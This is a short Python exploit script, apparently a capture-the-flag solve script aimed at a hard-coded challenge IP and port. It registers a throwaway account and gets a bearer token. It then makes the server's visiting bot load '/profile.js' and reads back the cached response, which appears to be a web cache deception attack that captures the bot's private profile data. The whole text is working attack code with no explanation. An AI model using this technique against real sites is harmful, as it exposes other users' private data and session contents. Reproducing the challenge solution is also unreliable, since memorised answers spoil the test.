30 lines
778 B
Python
30 lines
778 B
Python
import requests
|
|
import random
|
|
import string
|
|
|
|
ALPHABET = string.ascii_letters
|
|
|
|
|
|
URL = "http://154.57.164.75:32624"
|
|
|
|
# register a new account
|
|
username = "".join(ALPHABET[random.randint(0, len(ALPHABET) - 1)] for _ in range(20))
|
|
pw = "pw"
|
|
email = username
|
|
res = requests.post(f"{URL}/register", json={"username": username, "password": pw, "email": email})
|
|
print(res.text)
|
|
|
|
# log into the new account
|
|
res = requests.post(f"{URL}", json={"username": username, "password": pw})
|
|
token = res.json()["token"]
|
|
print(f"[+] token = {token}")
|
|
|
|
# send the bot to /profile.js
|
|
uri = "profile.js"
|
|
res = requests.post(f"{URL}/visit", headers={"Authorization": f"Bearer {token}"}, json={"uri": uri})
|
|
print(res.text)
|
|
|
|
# retrieve the cached result
|
|
res = requests.get(f"{URL}/{uri}")
|
|
print(res.text)
|